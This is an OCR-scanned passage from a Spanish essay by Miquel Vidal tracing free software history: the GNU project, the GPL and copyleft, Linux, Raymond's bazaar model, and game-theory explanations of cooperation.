pero conviene tener clara la distincion entre fuentes y binarios pues es
clave para entender el empefio de los partidarios del software libre en
disponer de las fuentes.

Pero el software libre es mucho mas que el derecho de los progra-
madores y de los hackers3 a disponer de las fuentes del cédigo: signifi-
ca también la libertad de copiar y redistribuir esos programas. Esos
derechos, o su ausencia, condicionan a cualquiera que use un ordenador
y han configurado la industria del software y de la informética tal y
como la conocemos hoy dia. También ha dado lugar a un movimiento
social —el del software libre- cuya historia reconstruiremos brevemente
en las proximas lineas.

2. Los inicios

En la informéatica de los afios sesenta y setenta y en la cultura hacker
que surgié en torno a ella, se disponia libremente de las herramientas
necesarias y del cddigo fuente de la gran mayoria de los programas. La
colaboracion forma parte desde antiguo de los habitos de la comunidad
cientificay ademaés, ante la diversidad de plataformas, era necesario dis-
poner del cédigo cuando se adquiria el programa para poder portarlo al
hardware de cada cual. Era tan normal como compartir recetas de coci-
nay ni siquiera se hablaba de “software libre”, pues todo el que queria
programar se beneficiaba de ello y veia l6gico que los demas se pudie-
sen beneficiar a su vez. Los hackers copiaban los programas, intercam-
biaban sus fuentes, podian estudiarlas, evaluarlas, adaptarlas a sus
necesidades y a su hardware, reutilizaban una parte del c6digo para

3. A'lo largo de este articulo usaré el término hacker no en el sentido massmedia-
tico y distorsionado de “pirata informatico”, sino en su acepcion original, tal y
como la define por ejemplo Eric Raymond: “Existe una comunidad, una cultura
compartida, de programadores expertos y gurus de redes, cuya historia se puede
rastrear décadas atras, hasta las primeras minicomputadoras de tiempo comparti-
doy los primigenios experimentos de ARPAnet. Los miembros de esta cultura acu-
fiaron el término hacker. Los hackers construyeron la Internet. Los hackers hicieron
del sistema operativo UNIX lo que es en la actualidad. Los hackers hacen andar
USENET. Los hackers hacen que funcione la WWW. Si t0 eres parte de esta cultu-
ra, si tu has contribuido a ella y otra gente te llama hacker, entonces tu eres un
hacker.”
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hacer nuevos programas... El desarrollo de bienes publicos basados en
ese modelo fue exponencial hasta el punto de que gran parte de la tec-
nologia en la que se basa hoy Internet —desde el sistema operativo UNIX
hasta los protocolos de red- procede de esos afios.

Pero, a principios de los afios ochenta, ese modelo entra en crisis, y
rdpidamente comienza a emerger un modelo privatizador y mercanti-
lista. Los ordenadores, hasta entonces escasos, caros y poco potentes, se
hacen asequibles, cada vez mas baratos y potentes y aparece un nuevo
negocio, el de los productores de software. Los programas se empeza-
ron a vender como productos comerciales independientes de las maqui-
nas y sélo con el cédigo binario, para ocultar las técnicas de programa-
cién a la competencia. La nueva industria del software comienza a apo-
yarse en la legislacion sobre propiedad intelectual. El mundo UNIX se
fragmenta en diversas versiones privatizadas y progresivamente
incompatibles entre si, que los programadores no pueden modificar. Lo
gue era practica habitual, se convirtié en un delito: el hacker que com-
partia el cddigo y cooperaba con otras personas paso a ser considerado
un “pirata”.

Al tiempo que los sistemas van haciéndose incompatibles entre si,
la comunidad de investigadores se va desmembrando poco a poco.
Muchos hackers ficharon para empresas y firmaron contratos en los que
se comprometian a no compartir con nadie de fuera los “secretos de
fabricacion” (el codigo fuente). Por su parte, los laboratorios de investi-
gacion comenzaron a hacer lo mismo y obligaban a sus hackers a sus-
cribir el mismo tipo de clusulas. Para cerrar el circulo, los compilado-
res, los depuradores, los editores y demas herramientas imprescindibles
para programar eran propietarios y se vendian a precios respetables: se
trataba de que la programacion “de verdad” s6lo estuviese en manos de
la naciente industria de software.

Hubo hackers que no aceptaron esta nueva situacién y continuaron
con sus practicas pero parecia solo una cuestion de tiempo que la indus-
tria del software propietario arrinconara y dejara definitivamente fuera
de la ley la cultura cooperativa y confiada de las primeras comunidades
de hackers.4 Este contexto sirve de base y explica el auge posterior del

4. “Muchos programadores estdn descontentos con la comercializacion de
software de sistema. Esta puede permitirles ganar mas dinero, pero les requiere
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imperio Microsoft y similares: estaba naciendo el negocio del software
propietario y la préspera industria de los ordenadores personales.

3. El proyecto GNU

Son los primeros afios ochenta y seguiré la pista de algunos de esos
programadores que habian conocido la vieja cultura hacker de los afios
setenta y que no se plegaron a los designios privatizadores de la indus-
tria del software.5 De hecho, consideraron la privatizacién un verdade-
ro atentado a los mismos cimientos del proceso de conocimiento. Se
cuestiona que la propiedad intelectual sea un derecho natural, y se per-
cibe como una practica socialmente indeseable.6

Con ese planteamiento nace el Proyecto GNU (acrénimo recursivo
que significa GNU’s Not UNIX, o sea, “GNU No es UNIX”) de la mano
de Richard M. Stallman, un hacker del emblematico Laboratorio de
Inteligencia Artificial del Massachusetts Institute Technology (MIT). Era
el afio 1984, Stallman abandona el MIT para que no interfiera en sus pla-

sentirse en conflicto con otros programadores en general en vez de sentirse como
camaradas. El acto fundamental de amistad entre programadores es el compartir
programas; ahora se usan tipicamente arreglos de marketing que en esencia prohi-
ben a los programadores tratar a otros como sus amigos. ElI comprador de
software debe escoger entre la amistad y la obediencia a la ley. Naturalmente,
muchos deciden que la amistad es mas importante. Pero aquellos que creen en la
ley a menudo no se sienten bien con ninguna de las dos opciones. Se vuelven cini-
cos y piensan que la programacion es sélo otra forma de hacer dinero.”
(R. Stallman, “El Manifiesto GNU”, 1985 [en
http://www.gnu.org/gnu/manifesto.es.html]).

5. “Considero que la regla de oro me obliga a que si me gusta un programa lo deba
compartir con otra gente a quien le guste. Los vendedores de software quieren
dividir a los usuarios y conquistarlos, haciendo que cada usuario acuerde no com-
partir su software con otros. Yo me niego a romper mi solidaridad con otros usua-
rios de esta manera. No puedo en buena conciencia firmar un acuerdo de no divul-
gacion [nondisclosure agreement] o un acuerdo de licencia de software.” (R. Stallman,
“El Manifiesto GNU”)

6. “Extraer dinero de los usuarios por un programa con base en la restriccion del
uso que se le dé es destructivo porque las restricciones reducen la cantidad y las
formas en que el programa puede ser utilizado. Esto reduce la cantidad de riqueza
que la humanidad deriva del programa. Cuando se opta deliberadamente por res-
tringir, las consecuencias dafiinas son destruccion deliberada.

“La razén por la que un buen ciudadano no utiliza estos medios destructivos
para volverse mas rico es que, si todos lo hicieran, podriamos empobrecernos todos
por la destruccion mutua. Esta es ética kantiana; o la Regla de Oro.” (R. Stallman,
“El Manifiesto GNU”)



50 MIQUEL VIDAL

nesy, junto a otros hackers interesados en el proyecto GNU, crea la Free
Software Foundation (FSF) en 1985: comienza una labor metédica y dis-
creta, guiada por una asombrosa visién estratégica.”

El proyecto GNU se propuso a la sazén una tarea titanica: construir
un sistema operativo libre completo. No es sencillo expresar en pocas
palabras la enorme dificultad que comporta un proyecto asi, sélo al
alcance de unas cuantas empresas con miles de programadores a suel-
do. No digamos ya si no se dispone de herramientas para hacerlo.
Stallman tuvo que empezar casi desde cero, sin modelo bazar, pues no
existia la universalizada red Internet tal y como hoy la conocemos; tam-
poco existia una comunidad de desarrolladores lo suficientemente gran-
de y ni siquiera se disponia de un compilador libre para empezar el tra-
bajo. Una analogia es construir una casa sin disponer apenas de herra-
mientas, por lo que primero hay que fabricarlas: desde picos y palas
hasta ladrillos y cemento. Eso si, contaba con algiin material reciclable
de “otras casas” —grandes fragmentos de c6digo UNIX y una cultura de
reutilizar cédigo. Stallman y la FSF merecen por tanto un reconoci-
miento especial en esta historia, pues sin compilador, depurador y edi-
tor libres no habria sido posible lo que vino después, incluyendo el pro-
pio Linux.

Con todo lo importante que eran esas herramientas, no fue ni
mucho menos la principal aportacion de la FSF. Y es que los hackers que
impulsaron el Proyecto GNU en aquellos afios no se conformaron con
su trabajo de desarrolladores, ya de por si formidable. Se dieron cuenta
de que necesitaban algo méas que crear herramientas de software que
dieran libertad a los programadores. Para que el trabajo no fuera estéril
y facilmente reapropiable por intereses privados, precisaban ademaés
defender esa libertad en el terreno politico y juridico. El “Manifiesto
GNU” (1985), escrito por el propio Richard Stallman, es la declaracion
de principios e intenciones del proyecto; inspirada en sus principios, se
lanza en 1989 la primera version de lo que fue posiblemente el mejor
logro de la FSF y significativamente no en el terreno informatico, sino en

7. Esta historia la narra con detalle el propio Stallman en “The GNU Operating
System and the Free Software Movement”, en AA.VV., Open Sources: Voices from the
open source revolution, Sebastopol [EE.UU.], O’Reilly & Associates, 1999 [hay ver-
sién en internet: http:/www.sindominio.net/biblioweb/telematica/open-sources-
html/node42.html].
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el ambito juridico: la GPL (General Public License) o Licencia Publica
General .8

4. La GPL.: copyleft para tod@s

Utilizando un brillante juego de palabras, tan del gusto de los
hackers, Stallman inventa el concepto de copyleft, con el propésito poli-
tico de garantizar la libre circulacién de los saberes contenidos en el
software y la posibilidad de que todos contribuyan a su mejora. El
copyleft se sirve de las leyes internacionales del copyright para darles la
vuelta (all rights reversed: “todos los derechos del revés”) pues protege
el uso en lugar de la propiedad. El autor se reserva los derechos para
que su obra pueda ser utilizada por cualquiera con la Unica condicion
de que nadie recorte o elimine esos derechos de libre uso: en el momen-
to en que alguien suprima o afiada nuevas condiciones que limiten en
algo su disponibilidad (por ejemplo, distribuyendo cédigo binario
modificado sin posibilidad de acceder a las fuentes modificadas) estaria
vulnerando la licencia y perderia el derecho a servirse de ese software.
Obligando a transferir esos derechos a cualquiera que copie ese
software, lo modifique o no, se beneficia quien estd de acuerdo con man-
tener su futuro trabajo con copyleft, mientras que quien quiera desarro-
llar software propietario no podra utilizar cédigo libre y debera empe-
zar desde cero.

La GPL o Licencia Publica General es la plasmacion juridica del
concepto copyleft. Con el tiempo, la GPL se ha convertido en el cimien-
to del software libre, su baluarte legal, y para muchos constituye un
extraordinario ejercicio de ingenieria juridica: con la GPL se asegura que
trabajos fruto de la cooperacién y de la inteligencia colectiva no dejen
nunca de ser bienes publicos libremente disponibles y que cualquier
desarrollo derivado de ellos se convierta como por ensalmo en publico
y libre. La GPL se comporta de un modo “virico” y, como un rey midas
del software, convierte en libre todo lo que toca, es decir, todo lo que se
deriva de ella.

8. Hay varias traducciones no oficiales al castellano de la Licencia Publica General
de GNU, por ejemplo en http://lucas.hispalinux.es/Otros/gples/gples.html. Puede
leerse la version original en inglés (Gnica con valor legal) en
http://www.gnu.org/licenses/gpl.html.
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Junto al modelo copyleft, hay otros desarrollos de software libre
gue no son copyleft y considerados menos “estrictos” en cuanto a la
licencia, cuya mayor diferencia con el copyleft es que no insisten en que
el codigo derivado tenga que seguir siendo libre. Es el caso de las licen-
cias tipo BSD?® y las de tipo X11/XFree86: no ponen el énfasis en asegu-
rarse que el software libre siga siéndolo, pues los partidarios de
Berkeley consideran que de algin modo eso ya es limitar derechos.
Posiblemente, es una postura que se acerca al anticopyright y a la
nocion de “dominio publico” (un bien que juridicamente no es de
nadie), pero es menos comprometida —al menos en cuanto a la licencia—
en garantizar que el software libre no deje de serlo. En la préactica y
dejando los matices de tipo juridico, tanto las licencias tipo BSD-
XFree86 como la GPL son el baluarte del software libre y ambas repre-
sentan un referente ético y préctico alternativo al software propietario.

5. Linux

Disponiendo de la GPL y de poderosas herramientas informaticas
libres llegamos a los afios noventa, con un sistema operativo GNU ya
casi completo. Faltaba el kernel o nucleo de sistema, una pieza funda-
mental y muy compleja que se iba retrasando mas de lo debido por la
enorme dificultad de la empresay por la escasez de voluntarios que tra-
bajasen en ello (hay que recordar que la mayor parte de los hackers han
escrito su cédigo en ratos libres).

Por aquel entonces, por su cuenta y riesgo y sin ninguna relacion
con la FSF, un estudiante finlandés llamado Linus Torvalds decide
ponerse a escribir un kernel que pueda funcionar y sacar todo el parti-
do de la arquitectura de 32 bits de los nuevos procesadores i386. Cuenta
con las herramientas GNU para hacerlo, y con un desarrollo UNIX para
los PC de 16 bits de entonces (minix). Por primera vez hay maquinas
disponibles a nivel personal y a precio asequible capaces de trabajar con
un sistema multitarea. Linus decide entonces hacer un llamamiento a
través de las news para quien quiera ayudarle en el desarrollo. A los
pocos meses (1992), son unos cientos de entusiastas hackers de todo el
mundo, coordinados a través del correo electronico y de las news y sin

9. http://www.freebsd.org/copyright/
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ningun interés econémico, los que consiguen el milagro. A un ritmo fre-
nético y en medio de un caos aparente, van dejando versiones en los
repositorios FTP de Internet para que la gente las pruebe, las estudie o
las mejore. Linus pone el desarrollo del kernel bajo la GPL y el proyec-
to GNU se pone a trabajar para integrar el nuevo kernel con el resto del
sistema. Desde entonces la historia es bien conocida: a principios del
afio 2000 son probablemente méas de mil hackers los que dan soporte al
kernel y se calculan veinte millones de usuarios del conjunto
GNU/Linux. En suma, disponemos libre y gratuitamente de un sistema
operativo completo, potentisimo y fiable como el que mas, que doblega
a las grandes firmas y desafia a muy corto plazo al ubicuo imperio de
las Ventanas™ con miles de programas en constante evolucién (la dlti-
ma distribucion GNU/Linux del Proyecto Debian10O recopila mas de
4500 paquetes de cadigo libre).

Si bien es el méas conocido, el nudcleo Linux no es el Unico ejemplo
del increible éxito del software libre: por ejemplo, el 62% de los servi-
dores web de Internet (equivalente a diez millones de sitios web, segun
el ultimo estudio de Netcraft,11 correspondiente a junio de 2000) se basa
en un software libre llamado Apache, o en alguna version modificada
del mismo. Apache lo desarrollaron en un tiempo record un grupo de
webmasters y ha minimizado el uso de los servidores propietarios de
Microsoft y Netscape (en el mismo estudio de Netcraft aparece en
segundo lugar, muy lejos de Apache, el IIS de Microsoft con un 20,36%
de los servidores web y tercero Netscape-Enterprise con solo un 6,74%).
Muchas otras utilidades y aplicaciones basadas en software libre operan
en servidores de todo el mundo y, de modo silencioso y transparente
para el usuario de a pie, garantizan el funcionamiento cotidiano de
Internet y de otras muchas redes y sistemas informaticos, libres de los

10. El Proyecto Debian naci6 bajo los auspicios de la Free Software Foundation en
1993, con el objetivo de juntar la piezas GNU y construir un sistema operativo libre
completo. Hoy dia es un proyecto independiente de la FSF pero mantiene sus obje-
tivos fundacionales, lo cual la hace totalmente singular dentro de las distribuciones
GNUJ/Linux: es la Unica basada exclusivamente en software libre y es la Unica de
caracter no comercial. Debian se mantiene y desarrolla de manera distribuida
mediante la cooperacion desinteresada de més de 300 hackers de todo el mundo y
dispone de una comunidad de miles de usuarios coordinados a través de mas de
cincuenta listas de correo publicas extraordinariamente activas.

11. http://wwwv.netcraft.com/survey/
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virus y agujeros de seguridad que periédicamente atormentan a los
inseguros sistemas basados en Windows. Disponer del cédigo fuente
permite localizar errores y corregirlos, e incluso detectar la existencia de
codigo malicioso (virus, puertas traseras, troyanos) que las empresas y
grupos de poder pueden eventualmente introducir en los programas y
sistemas operativos cerrados como forma de control y de asalto a la pri-
vacidad.12

El responsable de esta revuelta antipropietaria (“Linux es subversi-
vO0™: asi empieza La catedral y el bazar) no es Linus Torvalds ni Richard
Stallman ni la FSF, ni universidad, gobierno o instituciéon alguna, ni
menos aun las empresas que ahora cotizan en el Nasdaqg con “Linux”
como bandera. El responsable de todo esto es la propia comunidad de
usuarios del sistema. En el caso de Linus Torvalds, su mayor mérito y
por lo que debe ser reconocido sin discusidn no es por el kernel Linux,
por extraordinario que sea este, sino por el “modelo bazar”, la genial
intuicién de ingeniero que tuvo para ponerlo a tope de vueltas en el
momento justo (sin la explosidn de Internet y de los ordenadores per-
sonales no habria sido posible). Linus ha llevado probablemente hasta
sus limites el modelo bazar y lo ha exprimido al maximo, aunque justo
es decir que para nada lo inventd, pues desde siempre formaba parte de
algunos entornos UNIX y de la practica de determinadas comunidades
cientificas y académicas (como Bell Labs, el MIT Al Lab o la
Universidad de California en Berkeley), que lo aplicaron y obtuvieron

12. Un caso paradigmatico ha sido el archifamoso gusano LoveLetter (alias
“lloveyou™), que infectd a varios millones de ordenadores conectados a Internet a
principios de mayo de 2000.

Con un despliegue a partes iguales de sensacionalismo e ignorancia, las porta-
das de los medios de comunicacion de todo el mundo se hicieron eco de este hecho
como de un problema que ponia de manifiesto una supuesta falta de seguridad de
Internet. Ni ellos ni ninguno de los autodenominados expertos de empresas anti-
virus sefialaron en ningln caso que el “peligrosisimo virus” era un sencillo script
de menos de 300 lineas escrito en VisualBasic, inocuo por tanto para las tres cuar-
tas partes de los servidores de Internet, basados en sistemas UNIX. Para eludir toda
responsabilidad, Microsoft insistia en que no se trataba de ningun error de disefio
en sus aplicaciones. De ese modo y sin advertirlo, Microsoft estaba reconociendo
implicitamente que el gusano “l love you” no explotaba agujero alguno, simple-
mente aprovechaba las facilidades inherentes a la concepcion de Windows: es pues
Microsoft, y no Internet, el que convierte las PC caseras en absolutamente insegu-
ras y pone los datos de sus incautos usuarios al alcance del mas inexperto script
kiddy.
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éxitos legendarios: pero nadie antes que Linus lo habia lanzado a esca-
la planetaria, fuera del &mbito cientifico y con ese formidable grado de
intensidad y productividad. Se puede afirmar sin temor a exagerar que
el sistema operativo libre GNU/Linux es la obra mas importante que
hasta ahora ha producido Internet.

6. El modelo bazar

Actualmente y gracias al proyecto en torno al kernel Linux, el prin-
cipal modelo de desarrollo del software libre es el “modelo bazar”. Fue
descrito por Eric S. Raymond en su ya clasico La catedral y el bazarl3
(1997) y sin duda constituye una aportacion singular en este capitalismo
de fin de siglo. Raymond contrapone el modelo bazar a un modelo de
produccion de software al que denominé “modelo catedral”,14 basado
en la necesidad de un arquitecto al mando de un staff rigidamente
estructurado y jerarquizado y el estricto control de errores previo a la
publicacion. A juicio de Raymond, el modelo catedral no sélo corres-
ponde a la industria del software propietario, sino a algunos de los
grandes desarrollos libres que ha avalado la FSF.

Segun Raymond, el modelo bazar de programacién se resume en
tres méaximas: 1) liberar rapido y a menudo; 2) distribuir responsabili-
dades y tareas todo lo posible, y 3) ser abierto hasta la promiscuidad
para estimular al maximo la cooperacién. Incluso cumpliendo esas
maximas, no siempre es posible el modelo bazar: sélo puede darse en
un entorno de libertad, cooperacion, comunidad y disponiendo del
codigo abierto. El bazar encuentra dificultad para producir cooperacion
cuando se empiezan proyectos desde cero o cuando se ensaya en grupos
reducidos demasiado heterogéneos o con mucho desnivel de conoci-

13. http://es.tldp.org/Otros/catedral-bazar/cathedral-es-paper-00.html#tocl/

14. Nombre desafortunado para describir el fendémeno, pues la construccion de las
catedrales goticas se debia a los compagnons, colectivos nomadas e itinerantes del
tipo albafiiles, carpinteros, herreros, etc. que las construian aqui y alla, diseminan-
do las obras, sin division entre trabajo manual e intelectual y con una planificacién
y construccion descentralizada y auténoma: “Al plano sobre el suelo del compag-
non gético se opone el plano métrico sobre el papel del arquitecto exterior a la
obra.” (Gilles Deleuze y Félix Guattari, Mil mesetas, Valencia, Pre-Textos, 1988).
Seria pues mas exacto denominar “modelo piramide” o “modelo rascacielos” al
modelo jerarquico y planificado que describe Raymond en su articulo.
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miento, por lo que a menudo encontramos formulas mixtas entre el
bazar y la catedral.

A juicio de Raymond, el modelo bazar es mucho més eficaz y pro-
duce un software de mayor calidad con menor gasto de recursos, lo que
por si solo ya justificaria la aplicacion masiva del modelo en la industria
del software. Sin dejar de reconocer esto, la gente que sigue los postula-
dos de la FSF, insiste en que la calidad del c6digo libre ha sido un ele-
mento “extra” y no es la razén de ser del software libre, ya que mas
importante que la potencia y la fiabilidad técnica es la libertad, el bien
social y la comunidad autogestionada de usuarios y desarrolladores a
gue da lugar, sin precedentes en ningan otro ambito, que por primera
vez lleva la iniciativa y el total control tecnolégico sobre lo que usa.

En todo caso, con bazar o sin él y més allad de su demostrado éxito
a nivel organizativo y técnico, el software libre desafia la I6gica intere-
sada y mercantilista que parecia definitivamente asentada en lo social.
Alguien podria objetar que los procesos de cooperacién no son una
novedad en el capitalismo avanzado y que de hecho son parte impres-
cindible del modelo de organizacién posfordista.15 Pero este Gltimo
precisa cooperacion sujetada, orientada Unicamente a la extraccion de
beneficio, en ningan caso autodeterminada. La novedad que introduce
el software libre es que pone en funcionamiento un modelo de coopera-
cién sin mando. No hay intereses empresariales directos, es general
intellect puro, ingobernable y libre del mando.16 Es mas, la ausencia de

15. En el plano de los procesos productivos y de las formas de mando sobre la coo-
peracién social, algunas corrientes de pensamiento denominan posfordismo al con-
junto de transformaciones que a partir de mediados de los afios setenta conducen
a la informatizacion de lo social, la automatizacién en las fabricas, el trabajo difu-
so, la hegemonia creciente del trabajo inmaterial, del general intellect y del llama-
do terciario (comunicativo, cognitivo y cientifico, performativo, afectivo) y la glo-
balizacion de los procesos productivos.

16. En los Grundrisse, texto que prefigura nuestra época con més de cien afios de
antelacion, Karl Marx recurre al término general intellect (o “intelecto general”) para
designar el conjunto de los conocimientos abstractos (de “paradigmas epistemol6-
gicos”, dirifamos hoy) que, al mismo tiempo, constituyen el epicentro de la pro-
duccidn social y organizan todo el contexto de la vida. Un “cerebro” o intelecto
general, basado en la cooperacion y el saber abstracto, incluyendo el saber cientifi-
co, que tiende a volverse, en virtud precisamente de su autonomia en relacion a la
produccion, ni mas ni menos que la principal fuerza productiva, relegando a una
posicion marginal al trabajo parcelizado y repetitivo de la produccién industrial.
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mando, de control corporativo o jerarquico, parece condicion sine qua
non: alli donde reaparece el mando —sea en forma de interés propieta-
rio, sea en su variante autoritaria—, el modelo se marchita, se agosta y
acaba por desaparecer. Como el pajaro bobo (el pingiino), sélo puede
vivir en libertad. Nadie da érdenes, nadie acepta 6rdenes. Y sin embar-
go, la gente se coordina, se organiza, hay gurus, “lideres”, gente que
dirige proyectos: pero es autoridad conferida, no es mando. Funciona
una especie de “economia del regalo”, en la cual se es mas apreciado
cuanto mas se aporta a lacomunidad. Nadie puede exigir, no hay garan-
tia, no hay dinero como estimulo para el trabajo,17 aunque haya gente
que cobre por su trabajo o gane dinero mediante Linux, pues ninguna
objecion hay en la comunidad para que los hackers puedan ser remu-
nerados por su trabajo. Todo este “bazar” cadtico de listas y grupos dis-
persos de voluntarios por Internet produce el mejor software, compleji-
simo software cuyo desarrollo no esta al alcance ni de la empresa mas
poderosa del planeta. Porque la comunidad del software libre es ya la
empresa de software méas poderosa del planeta.

7. La teoria de juegos

¢Como es esto posible? ;Por qué ganan las estrategias altruistas a
las egoistas en el software libre? ¢Por qué la gente no trata simplemen-
te de extraer el maximo beneficio econédmico como ensefia el capitalis-
mo? ;Por qué los pragmaticos no se limitan a tratar de aprovecharse y
en la préactica cooperan como el que mas (aunque ideolégicamente no lo
reconozcan)?

Desde la propia comunidad del software libre ha habido intentos de
explicar estos fenémenos a través de la teoria de los juegos.18 Y cierta-
mente, el clasico dilema entre “bien colectivo” versus “actitud egoista”
es superado por un axioma que recuerda vagamente al “dilema del pri-
sionero” de la teoria de juegos: la cooperacion es preferible también

17. “De hecho, mucha gente va a programar sin absolutamente ningun incentivo
monetario. La programacion tiene una fascinacion irresistible para algunas perso-
nas, generalmente para las mejores en el ramo.” (R. Stallman, “El Manifiesto
GNU").

18. Ver por ejemplo el articulo de Juan Antonio Martinez, “Software libre: una
aproximacion desde la teoria de juegos”, en Linux Actual, N° 11.
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desde una perspectiva egoista. Y, al igual que sucede en el dilema del
prisionero, esto no siempre es evidente de primeras. Inventado hace
medio siglo por especialistas de la teoria de juegos, el “dilema del pri-
sionero” se utilizé para estudiar el concepto de eleccién racional y para
ilustrar el conflicto existente entre beneficio individual y bien colecti-
vo.19

En la teoria de juegos tradicional, la estrategia ganadora es la lla-
mada Tit for Tat (“donde las dan las toman”): “sélo coopero si el otro
coopera”. Es también la mas simple, se comienza cooperando en la pri-
mera jugada y después simplemente se copia el movimiento previo del
otro jugador. Los tedricos de juegos consideran que Tit for Tat redne dos
rasgos que identifican a las estrategias ganadoras y que juntas la hacen
ganar en todas las pruebas realizadas por ordenador contra estrategias
mucho maés sofisticadas y mas “sucias” (egoismo no cooperativo): es
amable y es clemente. Una estrategia amable es aquella que nunca es la pri-
mera en ser egoista. Una estrategia clemente es la que puede vengarse
pero tiene mala memoria, es decir, tiende a pasar por alto antiguas ofen-
sas (se venga inmediatamente de un traidor o egoista, pero después
olvida lo pasado). No se olvide que es amable en sentido técnico, no
moral, pues no perdona en absoluto. Tit for Tat tampoco es “envidiosa”,
gue en la terminologia de Robert Axelrod significa que no desean mas

19. Los creadores del “dilema del prisionero” lo ilustraron asi: dos personas dete-
nidas y sospechosas de cometer un delito son puestas en celdas separadas e inte-
rrogadas. Cada uno es invitado a traicionar a su colega, convirtiéndose en un arre-
pentido. Lo que suceda depende de lo que hagan ambos prisioneros y ninguno
sabe lo que ha dicho el otro. Si los dos se callan (es decir, si cooperan entre si, segiin
la teoria de juegos), seran condenados a una pena minima de un afio por falta de
pruebas. Si se denuncian uno al otro (es decir, no cooperan entre si, segin la teoria
de juegos) cumpliran una pena de tres afios. Pero si solo uno denuncia al otro, reci-
bird una recompensa (y quedara libre), mientras que su complice se pudrirg entre
rejas durante cinco afios. Ante este dilema -suponiendo que ambos estan motiva-
dos por el interés racional y que no pueden hablarse para pactar entre si- parece
que la Gnica opcion racional es acusarse mutuamente para minimizar la pena (seré
liberado si su cdmplice se calla y cumplird tres afios si habla; en cambio pueden
caerle cinco afios si calla y su complice habla). La opcion més racional les hara acu-
sarse mutuamente y recibir una pena mayor. A menos que el jugador sea un incau-
to, tendré que descartar la solucion més deseable para ambos -la cooperacion (o sea
permanecer callados)-. Este dilema sin salida ha vuelto locos a generaciones de te6-
ricos de juegos, y solo con una variante llamada el “dilema del prisionero repeti-
do”, que consiste en poderlo jugar varias veces y observar el comportamiento del
otro, encontraron una condicion de salida.
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recompensa que los demas y se siente feliz si el otro tiene el mismo pre-
mio que uno mismo (de hecho Tit for Tat, nunca gana un juego, como
maximo empata con su oponente): en el software libre significa desear
que todos tengan las mismas libertades de que dispone uno mismo. Que
lo més eficaz sea ser amable y clemente parecia desafiar todo sentido
comun y constituy6 toda una sorpresa para los matematicos, psicolo-
gos, economistas y biélogos que han estudiado a fondo las diversas
estrategias de la teoria de juegos.20 Esta conclusion, que abrié una
nueva direccion de andlisis, se ha confirmado una vez tras otra en los
estudios y torneos organizados por el politdlogo estadounidense Robert
Axelrod: siempre acaban ganando las estrategias amables y clementes y
siempre salen derrotadas las estrategias “sucias”. Por su parte, biélogos,
genetistas y etdlogos estan cada vez méas convencidos de que la “coope-
racion egoista” es la dominante en la naturaleza.

De acuerdo a la teoria de juegos, los individuos del Tit for Tat, coo-
perando entre si en acogedores y pequefios enclaves locales, pueden
prosperar hasta pasar de pequefias agregaciones locales a grandes agre-
gaciones locales. Estas agregaciones pueden crecer tanto que se extien-
dan a otras areas hasta entonces dominadas, numéricamente, por indi-
viduos egoistas que juegan al “Voy a lo mio”. A su vez, la cooperacién
es un fenémeno que produce realimentacion positiva: nadie que disfru-
te de los beneficios del software libre puede dejar de promover su uso.
Por eso la comunidad conserva cierto tono proselitista, ademas de por
una percepcién mas o menos generalizada de que la potencia y el futu-
ro del modelo depende muy directamente de que haya mucha gente
participando activamente en su desarrollo.21

Sin embargo, el modelo Tit for Tat no caracteriza totalmente al
software libre, al menos no de una manera canénica. Por un lado, es
libre incluso para quienes no cooperan (esto le da valor ético, pero le
aleja del Tit for Tat). Por otro lado, aunque el copyleft permite que cual-
quiera se beneficie, no permite que nadie se lo apropie o que se use para
crear software propietario (esto le da valor pragmatico y le aproxima al

20. Ver la obra de Richard Dawkins, El gen egoista, publicado en su segunda edicion
[en inglés] en 1989 [trad. cast.: Barcelona, Salvat, 1993]. Especialmente relevante
para este asunto es el capitulo “Los buenos chicos acaban primero”.

21. Juan Antonio Martinez, op. cit.
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Tit for Tat). La estrategia del software libre es “amable” y “clemente” a
la vez, pero —a diferencia del Tit for Tat- es capaz de asumir en su seno
estrategias egoistas sin necesidad de expulsarlas o vengarse de ellas
(salvo quiza en casos en que se percibe un verdadero peligro, como que
alguna empresa poderosa adoptase posiciones descaradamente egoistas
no cooperativas, por ejemplo vulnerando la GPL).

En el software libre, convive un planteamiento basado exclusiva-
mente en la eficacia, en la superioridad técnica y productiva que genera
el modelo bazar, con otro que sitla en primer plano la cooperacion, la
ética y la libertad. La postura pragmatica, que hay quien ha calificado
criticamente como “realpolitik”,22 rechaza cualquier formulacion ética
del modelo y sélo acepta como ideologia las reglas del laissez-faire pro-
pias del liberalismo mas ortodoxo. Este planteamiento apoya y potencia
decididamente el software libre, porque ha verificado que su resultado
es mas eficaz, no porque valore la cooperacién en términos de produc-
cion de bienes publicos o de beneficio social ni porque considere inmo-
ral el modelo propietario.23 Incluso puede que solo le interese la coo-
peracién social como poderosa maquina al servicio del capitalismo. Esta
parte del modelo probablemente es la que se ajusta mejor a la teoria de
juegos de acuerdo al concepto de la cooperacidn egoista: las empresas coo-
peran porque a la larga obtendran mas beneficios y los individuos coo-
peran porque apoyando el modelo dispondran de mejores aplicaciones.

22. “Todas las confusiones y parcialidades que aparecen en los articulos de Eric
Raymond son tipicos de su eleccion de la ‘politica real’ como principio de actua-
cidn en su activismo en pro del software libre. Un ejemplo de esta eleccién es haber
cambiado con efectos retroactivos en sus articulos y conferencias el término
software libre por open source. No discrepo de la nocion de ser eficaz promovien-
do el software libre. Pero me opongo a acciones que pueden resultar atajos validos
a corto plazo y causar perjuicios a la larga, ya que en estos casos, en la blsqueda
de un éxito puntual, se opta por apoyar fendémenos esencialmente erréneos en
lugar de combatirlos.” (Frangois René Rideau, “Sobre los articulos de Eric S.
Raymond”, 1998)

23. “Es posible que a largo plazo triunfe la cultura del software libre, no porque la
cooperacion es moralmente correcta o porque la ‘apropiacién’ del software es
moralmente incorrecta (suponiendo que se crea realmente en esto ultimo, lo cual
no es cierto ni para Linus ni para mf), sino simplemente porque el mundo comer-
cial no puede ganar una carrera de armamentos evolutiva a las comunidades de
software libre, que pueden poner mayores érdenes de magnitud de tiempo califi-
cado en un problema que cualquier compafiia.” (Eric Raymond, La catedral y el
bazar).
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Junto a este planteamiento coexiste un acercamiento ético o altruis-
ta. Conviene no confundirlo con un altruismo de base moral, religiosa o
metafisica, sino de una ética materialista que considera la libertad y la
cooperacion social el mejor modo de defender algo que es bueno para
todos y que encuentra otros estimulos diferentes al beneficio econémi-
€0.24 Dicho de otro modo, no se trata de una historia de “altruistas” y
“egoistas”, de “buenos” y “malos”, que como tantos otros dilemas
morales se han mostrado inoperantes por falsos: pero hay una cuestién
politica de fondo muy importante que los diferencia claramente y es la
